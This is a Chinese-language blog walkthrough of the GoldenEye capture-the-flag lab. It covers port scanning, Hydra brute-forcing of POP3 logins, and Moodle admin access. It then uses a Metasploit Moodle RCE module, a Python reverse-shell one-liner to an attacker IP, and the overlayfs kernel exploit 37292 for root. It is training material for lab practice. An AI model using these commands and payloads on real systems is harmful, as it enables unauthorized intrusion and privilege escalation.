靶场复现系列【GlodenEye】

kang 发布于 2024-11-20 303 次阅读


Nmap信息收集

ifconfig查看本地ip

查看192.168.11.0的所有设备

发现192.168.11.131开放了80端口和25端口

知识点(端口)

开放80端口代表存在可访问的web界面,开放25端口代表开放邮件传输

访问192.168.11.131

提示我们进入/sev-home/目录里。

查看网页192.168.11.131:80的源码发现http://192.168.11.131/terminal.js,进入后发现注释

猜测字符串被加密了InvincibleHack3r

得到的重要信息(网站账号)

获得用户名:Boris、Natalya

账号密码:InvincibleHack3r

我们进入sev-home目录,发现弹窗,提示我们需要用户名和密码,由于只知道一个密码,结果尝试后发现最终用户名和密码为boris/InvincibleHack3r

登入成功

发现文字

GoldenEye is a Top Secret Soviet oribtal weapons project. Since you have access you definitely hold a Top Secret clearance and qualify to be a certified GoldenEye Network Operator (GNO)
Please email a qualified GNO supervisor to receive the online GoldenEye Operators Training to become an Administrator of the GoldenEye system
Remember, since security by obscurity is very effective, we have configured our pop3 service to run on a very high non-default port

翻译后

GoldenEye 是苏联的一项绝密武器项目。既然您有访问权限,那么您肯定拥有绝密许可,有资格成为经过认证的 GoldenEye 网络运营商 (GNO)

请向合格的 GNO 主管发送电子邮件,接受在线 GoldenEye 运营商培训,成为 GoldenEye 系统的管理员

请记住,由于隐蔽性安全非常有效,我们已将 pop3 服务配置为在非常高的非默认端口上运行

从上面的消息中,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务

知识点(pop3)

POP3(Post Office Protocol version 3)是一种用于从远程服务器上接收电子邮件的协议。它是互联网标准协议之一,定义了如何让客户端从邮件服务器下载邮件。POP3协议由RFC 1939定义,主要用于实现从邮件服务器获取邮件并将其存储到本地计算机上。

POP3的工作原理

POP3是一个简单的协议,通常在TCP端口110上运行。它的工作流程大致如下:

  1. 连接到邮件服务器:客户端(如Outlook、Thunderbird等邮件客户端软件)连接到邮件服务器,并进行用户身份验证。
  2. 下载邮件:客户端从服务器上下载所有新的邮件。下载后的邮件通常会从服务器上删除,虽然有些客户端可以配置为保留服务器上的邮件副本。
  3. 断开连接:一旦所有邮件下载完成,客户端与服务器断开连接。

POP3的主要命令

  • USER:指定用户名。
  • PASS:指定用户密码。
  • STAT:获取邮箱统计信息,如邮件数量和总大小。
  • LIST:列出所有邮件的唯一标识符和大小。
  • RETR:检索指定邮件。
  • DELE:删除指定邮件。
  • QUIT:断开连接并删除标记为删除的邮件。

POP3的优缺点

优点

  1. 简单性:协议简单,易于实现和配置。
  2. 离线访问:邮件下载到本地后,可以离线阅读和管理邮件。

缺点

  1. 邮件管理不便:邮件通常会在下载后从服务器删除,不适合在多个设备上同步邮件。
  2. 有限的功能:相比IMAP(Internet Message Access Protocol),POP3功能较少,不能直接在服务器上管理邮件文件夹。

使用场景

POP3适用于只在一个设备上接收和管理邮件的用户,例如只用一个台式电脑来处理邮件。如果用户需要在多个设备(如手机、平板、笔记本电脑)上同步和管理邮件,则IMAP会是更好的选择。

POP3与IMAP的比较

  • POP3:下载邮件后通常会从服务器删除,适合单设备使用。
  • IMAP:允许邮件保留在服务器上,并在多个设备上同步,适合多设备使用。

进行nmap全端口扫描:nmap -p- 192.168.11.131

发现55006,55007两个开放的端口,扫描端口开启的服务详细信息:nmap -sS -sV -T5 -A -p55006,55007 192.168.11.131

知识点(Nmap)

-T4-A-sS-sV针对TCP端口禁止动态扫描延迟超过10ms全面系统检测、启用脚本检测、扫描等半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限。探测端口服务版本

这段信息看出这两个端口开放了pop3的mail服务的,通过http://192.168.4.202/terminal.js页面,在注释中发现一条内容,指出目标系统正在使用默认密码

Hydra爆破

接下来尝试使用暴力破解,在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务:

hydra -l natalya -P /usr/share/wordlists/fasttrack.txt 192.168.11.131 -s 55007 pop3

得到的重要信息(邮箱账号)

login: natalya password: bird

login: boris password: secret1!

nc连接登入pop3

先登入login: boris password: secret1!

发现三封邮件

第一封

Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id D9E47454B1
        for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.

鲍里斯,我是管理员。您可以在这里与同事和学生进行电子交流。我不会扫描电子邮件以查找安全风险,因为我信任您和这里的其他管理员。

第二封

Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id C3F2B454B1
        for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu
Boris, I can break your codes!

第三封

Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id 4B9F4454B1
        for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....
PS - Keep security tight or we will be compromised.

鲍里斯,
您与我们集团的合作将带来丰厚的回报。附件是 GoldenEye 的最终访问代码。将它们放在此服务器根目录中的隐藏文件中,然后从此电子邮件中删除。这些访问代码只能有一组,我们需要确保它们安全才能最终执行。如果它们被检索和捕获,我们的计划将崩溃!
一旦 Xenia 获得训练站点的访问权限并熟悉 GoldenEye 终端代码,我们就会进入最后阶段....
PS - 保持安全,否则我们将受到威胁。

同理登入login: natalya password: bird

得到两封邮件

第一封

Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id D5EDA454B1
        for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu
Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.
Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.

娜塔莉亚,请你不要再破解鲍里斯的密码了。另外,你是 GNO 的培训主管。一旦有学生被指定给你,我会给你发电子邮件。
另外,要小心可能的网络漏洞。我们得到情报,一个名为 Janus 的犯罪集团正在追捕 GoldenEye。

第二封

Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 17C96454B1
        for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu
Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)
Ok, user creds are:
username: xenia
password: RCP90rulez!
Boris verified her as a valid contractor so just create the account ok?
And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....
Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

好的,Natalyn,我有一个新学生要教你。由于这是一个新系统,如果您发现任何配置问题,请告诉我或 boris,尤其是与安全相关的问题...即使不是,只需以“安全”的名义输入...它就会毫不费力地升级变更单 :)
好的,用户凭据是:
用户名:xenia
密码:RCP90rulez!
Boris 已验证她是一名有效的承包商,因此只需创建帐户即可?
如果您没有内部域上的 URL:severnaya-station.com/gnocertdir
**请确保编辑您的主机文件,因为您通常在网络外远程工作....
由于您是 Linux 用户,只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com。

在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息

得到的重要信息(moodle账号)

用户名:xenia

密码:RCP90rulez!

域名:severnaya-station.com

网址:severnaya-station.com/gnocertdir

我们现根据邮件提示添加本地域名:severnaya-station.com

设置本地HOSTS文件

gedit /etc/hosts

192.168.11.131 severnaya-station.com

访问severnaya-station.com/gnocertdir地址

刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。

知识点(开源的CMS系统)

开源的内容管理系统(CMS)是指那些源代码开放、用户可以自由使用、修改和分发的内容管理平台。这些系统允许用户创建、管理和修改数字内容,并且通常具有广泛的社区支持和丰富的扩展功能。

例如: WordPress

知识点(指纹搜索)

指纹搜索是一种网络安全技术,主要用于识别和定位特定的计算机系统、设备或应用程序。它基于设备或应用暴露的特征(称为“指纹”)进行搜索和识别。以下是关于指纹搜索的详细介绍:

指纹搜索的基本概念

指纹搜索涉及收集和分析设备或应用暴露的各种信息,这些信息可以唯一地标识特定的设备或系统。指纹可以来自以下几个方面:

  1. 操作系统和软件版本:包括特定版本的操作系统、Web服务器、数据库和其他应用程序。
  2. 网络服务和协议:如HTTP、FTP、SSH等服务的响应行为和特性。
  3. HTTP头信息:如服务器、X-Powered-By等头信息。
  4. 开放端口:设备或系统对外开放的网络端口。
  5. SSL/TLS特性:包括证书、协议版本、加密套件等。
  6. 应用程序特征:特定的应用程序或服务的响应模式和标识。

指纹搜索是一种网络安全技术,主要用于识别和定位特定的计算机系统、设备或应用程序。它基于设备或应用暴露的特征(称为“指纹”)进行搜索和识别。以下是关于指纹搜索的详细介绍:

指纹搜索的工作原理

  1. 数据收集:工具通过网络扫描或主动请求收集设备或服务的响应数据。
  2. 特征分析:对收集到的数据进行分析,提取出特定的特征信息,如HTTP头信息、响应时间、协议行为等。
  3. 匹配识别:将提取的特征与已知的指纹库进行匹配,确定设备或服务的具体类型和版本。

使用,用户名:xenia密码:RCP90rulez!登入系统

Home / ->My profile / ->Messages --->发现有一封邮件,内容发现用户名doak,继续爆破用户名doak的邮件。

Hydra爆破

得到的重要信息(邮箱账号)

login: doak password: goat

重点说明(由于硬盘数据丢失,以下的目标ip地址将改为192.168.11.139)

Return-Path: <doak@ubuntu>
X-Original-To: doak
Delivered-To: doak@ubuntu
Received: from doak (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 97DC24549D
        for <doak>; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
Message-Id: <20180425034731.97DC24549D@ubuntu>
Date: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
From: doak@ubuntu

James,
If you're reading this, congrats you've gotten this far. You know how tradecraft works right?

Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......

username: dr_doak
password: 4England!

重要信息(新的CMS账号)

用户名:dr_doak

密码:4England!

再次登入CMS

登录后在:Home /--> My profile 发现: s3cret.txt(如果没有发现,就把能点的都点了)

查看s3cret.txt的内容

007,

I was able to capture this apps adm1n cr3ds through clear txt. 

Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. 

Something juicy is located here: /dir007key/for-007.jpg

Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

Something juicy is located here: /dir007key/for-007.jpg

现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

下载到本地:wget http://severnaya-station.com/dir007key/for-007.jpg

知识点(wget)

wget是一个下载文件的工具,它用在命令行下。对于Linux用户是必不可少的工具,尤其对于网络管理员,经常要下载一些软件或从远程服务器恢复备份到本地服务器。如果我们使用虚拟主机,处理这样的事务我们只能先从远程服务器下载到我们电脑磁盘,然后再用ftp工具上传到服务器。这样既浪费时间又浪费精力,那不没办法的事。而到了Linux VPS,它则可以直接下载到服务器而不用经过上传这一步。wget工具体积小但功能完善,它支持断点下载功能,同时支持FTP和HTTP下载方式,支持代理服务器和设置起来方便简单。下面我们以实例的形式说明怎么使用wget。

  1. 下载整个http或者ftp站点。

wget http://place.your.url/here

这个命令可以将http://place.your.url/here 首页下载下来。使用-x会强制建立服务器上一模一样的目录,如果使用-nd参数,那么服务器上下载的所有内容都会加到本地当前目录。

wget -r http://place.your.url/here

这 个命令会按照递归的方法,下载服务器上所有的目录和文件,实质就是下载整个网站。这个命令一定要小心使用,因为在下载的时候,被下载网站指向的所有地址同 样会被下载,因此,如果这个网站引用了其他网站,那么被引用的网站也会被下载下来!基于这个原因,这个参数不常用。可以用-l number参数来指定下载的层次。例如只下载两层,那么使用-l 2。

要是您想制作镜像站点,那么可以使用-m参数,例如:wget -m http://place.your.url/here

这时wget会自动判断合适的参数来制作镜像站点。此时,wget会登录到服务器上,读入robots.txt并按robots.txt的规定来执行。

  1. 断点续传。

当文件特别大或者网络特别慢的时候,往往一个文件还没有下载完,连接就已经被切断,此时就需要断点续传。wget的断点续传是自动的,只需要使用-c参数,例如:

wget -c http://the.url.of/incomplete/file

使用断点续传要求服务器支持断点续传。-t参数表示重试次数,例如需要重试100次,那么就写-t 100,如果设成-t 0,那么表示无穷次重试,直到连接成功。-T参数表示超时等待时间,例如-T 120,表示等待120秒连接不上就算超时。

  1. 批量下载。

如果有多个文件需要下载,那么可以生成一个文件,把每个文件的URL写一行,例如生成文件download.txt,然后用命令:wget -i download.txt

这样就会把download.txt里面列出的每个URL都下载下来。(如果列的是文件就下载文件,如果列的是网站,那么下载首页)

  1. 选择性的下载。

可以指定让wget只下载一类文件,或者不下载什么文件。例如:

wget -m –reject=gif http://target.web.site/subdirectory

表示下载http://target.web.site/subdirectory,但是忽略gif文件。–accept=LIST 可以接受的文件类型,–reject=LIST拒绝接受的文件类型。

  1. 密码和认证。

wget只能处理利用用户名/密码方式限制访问的网站,可以利用两个参数:

–http-user=USER设置HTTP用户

–http-passwd=PASS设置HTTP密码

对于需要证书做认证的网站,就只能利用其他下载工具了,例如curl。

  1. 利用代理服务器进行下载。

如果用户的网络需要经过代理服务器,那么可以让wget通过代理服务器进行文件的下载。此时需要在当前用户的目录下创建一个.wgetrc文件。文件中可以设置代理服务器:

http-proxy = 111.111.111.111:8080

ftp-proxy = 111.111.111.111:8080

分别表示http的代理服务器和ftp的代理服务器。如果代理服务器需要密码则使用:

–proxy-user=USER设置代理用户

–proxy-passwd=PASS设置代理密码

这两个参数。

使用参数–proxy=on/off 使用或者关闭代理。

wget还有很多有用的功能,需要用户去挖掘。

 命令格式: 
wget [参数列表] [目标软件、网页的网址] 

-V,–version 显示软件版本号然后退出; 
-h,–help显示软件帮助信息; 
-e,–execute=COMMAND 执行一个 “.wgetrc”命令 

-o,–output-file=FILE 将软件输出信息保存到文件; 
-a,–append-output=FILE将软件输出信息追加到文件; 
-d,–debug显示输出信息; 
-q,–quiet 不显示输出信息; 
-i,–input-file=FILE 从文件中取得URL; 

-t,–tries=NUMBER 是否下载次数(0表示无穷次) 
-O –output-document=FILE下载文件保存为别的文件名 
-nc, –no-clobber 不要覆盖已经存在的文件 
-N,–timestamping只下载比本地新的文件 
-T,–timeout=SECONDS 设置超时时间 
-Y,–proxy=on/off 关闭代理 

-nd,–no-directories 不建立目录 
-x,–force-directories 强制建立目录 

–http-user=USER设置HTTP用户 
–http-passwd=PASS设置HTTP密码 
–proxy-user=USER设置代理用户 
–proxy-passwd=PASS设置代理密码 

-r,–recursive 下载整个网站、目录(小心使用) 
-l,–level=NUMBER 下载层次 

-A,–accept=LIST 可以接受的文件类型 
-R,–reject=LIST拒绝接受的文件类型 
-D,–domains=LIST可以接受的域名 
–exclude-domains=LIST拒绝的域名 
-L,–relative 下载关联链接 
–follow-ftp 只下载FTP链接 
-H,–span-hosts 可以下载外面的主机 
-I,–include-directories=LIST允许的目录 
-X,–exclude-directories=LIST 拒绝的目录 

在目录下找到下载的文件,根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:binwalk(路由逆向分析工具)exiftool(图虫)strings(识别动态库版本指令)等查看jpg文件底层内容!

base64:eFdpbnRlcjE5OTV4IQ==

明文:xWinter1995x!

重要信息(管理员账号)

线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。

用户名:admin

密码:xWinter1995x!

发现左上角是2.2.3,猜测是版本号,moodel的版本为2.2.3

谷歌搜索

发现存在CVE-2013-3630 漏洞可利用! 29324

此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。

使用MSF

知识点(MSF)

基础使用

msfconsole                                                                                    #进入框架
search  ms17_010                                    # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue        # 使用use进入模块
info                                                #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp     #设置攻击载荷
show options                                        #查看模块需要配置的参数
set  RHOST  192.168.100.158                         #设置参数
exploit / run                                       #攻击
后渗透阶段                                           #后渗透阶段

ps:使用方法进阶请看书籍

开始渗透

msfconsole                        ---进入MSF框架攻击界面
search moodle                     ---查找 moodle类型 攻击的模块
use 0                             ---调用0  exploit/multi/http/moodle_cmd_exec调用攻击脚本
set username admin                ---设置用户名:admin
set password xWinter1995x!        ---设置密码:xWinter1995x!
set rhost severnaya-station.com   ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir         ---设置目录: /gnocertdir
set payload cmd/unix/reverse      ---设置payload:cmd/unix/reverse
set lhost 192.168.11.139          ---设置:lhost 192.168.11.139(需要本地IP)
exploit  ----执行命令

search moodle ---查找 moodle类型 攻击的模块

可以看到序号1的时间的2013.10.30,符合我们查出来的CVE编号CVE-2013-3630,所以我们使用序号1

使用show options查看需要写入的参数

逐行设置参数

set username admin                ---设置用户名:admin
set password xWinter1995x!        ---设置密码:xWinter1995x!
set rhost severnaya-station.com   ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir         ---设置目录: /gnocertdir
set payload cmd/unix/reverse      ---设置payload:cmd/unix/reverse
set lhost 192.168.4.231           ---设置:lhost 192.168.4.231(需要本地IP)

exploit开始渗透

执行tty,因为获得的权限无框架:执行

python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty

执行tty的意思是:用户在命令行中运行tty命令时,它会输出他们当前会话所使用的终端设备文件路径,每个终端设备都与系统中的一个/dev/目录下的文件关联,这些文件让系统能够与终端交互。简单来说就是弹出终端。

tty与弹shell的区别

tty命令只是一个简单的信息查询工具,告诉你当前终端设备的名称。

弹出Shell则是启动一个新的命令行会话,允许你执行任意的系统命令。

知识点(tty)

在 Linux 系统中,TTY(Teletypewriter 的缩写)是一个代表终端设备的概念。TTY 是 Linux 操作系统中的一个重要部分,它允许用户与系统进行交互。下面详细讲述 TTY 的相关知识。

TTY 的历史背景

TTY 最早起源于电传打字机(Teletypewriter),一种早期的文本输入输出设备。在现代计算中,TTY 主要是指终端设备,这些设备允许用户与计算机进行文本模式的交互。

TTY 的类型

在 Linux 系统中,TTY 主要分为以下几种类型:

  • 物理终端(Physical Terminal):这通常是指连接到计算机的硬件终端,例如通过串口连接的终端设备。
  • 虚拟控制台(Virtual Console):这些是 Linux 内核提供的虚拟终端设备。用户可以通过按下 Ctrl + Alt + F1 到 Ctrl + Alt + F6 来切换不同的虚拟控制台。每个虚拟控制台都可以运行独立的登录会话。
  • 伪终端(Pseudo Terminal, PTY):这是虚拟终端的一种特殊形式,常用于图形界面终端模拟器(如 GNOME Terminal、xterm)以及远程登录工具(如 SSH)。PTY 由两个部分组成:主设备(master)和从设备(slave)。应用程序通过主设备与终端会话通信,而从设备则模仿传统的物理终端。

TTY 设备文件

TTY 设备在 Linux 文件系统中的表现为设备文件,通常位于 /dev 目录下。常见的 TTY 设备文件包括:

  • /dev/tty:当前终端的设备文件。
  • /dev/ttyN:虚拟控制台设备文件,其中 N 是控制台编号(例如,/dev/tty1 对应第一个虚拟控制台)。
  • /dev/pts/N:伪终端设备文件,其中 N 是伪终端编号。
  • /dev/ttyS0:串口设备文件,/dev/ttyS1 对应第二个串口设备,以此类推。

使用 TTY

TTY 设备通常用于命令行登录、执行系统管理任务等。用户可以通过命令行切换不同的虚拟控制台,或者通过终端模拟器与系统交互。

一些常用的命令和配置文件与 TTY 相关:

chvt N:切换到第 N 个虚拟控制台。
tty:显示当前终端的设备文件路径。
/etc/securetty:定义哪些 TTY 设备允许 root 用户登录。
stty:改变和打印终端行设置。

反弹shell

当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell。由于我们已经使用了管理员admin用户登录页面,由于使用的是powershell命令,需要在设置中修改:

Home / -> Site administration / -> Plugins / -> Text editors / -> TinyMCE HTML editor,来到此处,修改PSpellShell然后save!

然后Home / -> Site administration / -> server / -> system paths

删除原来的path to aspell,将下行代码输入path to aspell中。(在此之前先运行nc)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.138",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

保存后,进入编辑器,点击红色箭头,则监听的端口有回显,此时我们拿到了靶机的shell

发现只有一个$符号,所以我们再执行一次tty,python -c 'import pty; pty.spawn("/bin/bash")'

内核提权

拿到了靶机的shell,我们现在需要查看一些信息

发现是低权限用户,并且Linux内核版本为Linux ubuntu 3.13.0-32

谷歌搜索Linux ubuntu 3.13.0-32 exploit,获得exp版本:37292,CVE(CAN) ID: CVE-2015-1328

知识点(该漏洞原理)

overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。

Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。

此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

下载和使用攻击脚本

kali搜索下:

searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息

cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/ ---目录自行修改

获取一些基本信息

这个靶场在枚举信息知道:

无法进行GCC编译,需要改下脚本为cc

gedit /root/Desktop/37292.c ---文本打开

第143行将gcc改为cc ---编写下

然后在本目录下开启http服务:python3 -m http.server 8081

知识点(开启http服务)

python3 -m http.server 8081是一个用于快速启动一个简单的HTTP服务器的命令,适用于Python 3.x。它在当前目录下启动一个Web服务器,使得你可以通过浏览器访问该目录中的文件。

特别注意!!!

需要下载的文件必须存在于HTTP服务器的根目录中,而开启的服务器根目录是以本地当前的目录为基准的,所以在下载文件前,记住先使用命令pwd查看当前目录

wget下载本地的文件

下载完成后执行cc编译

cc -o exp 37292.c     ---C语言的CC代码编译点c文件
chmod +x exp          ---编译成可执行文件,并赋权
./exp                 ---点杠执行

已经获取到了root权限,接下来就是漫游靶机信息。

获取flag

一个热爱技术,二次元和小猫的紫老头
最后更新于 2024-11-20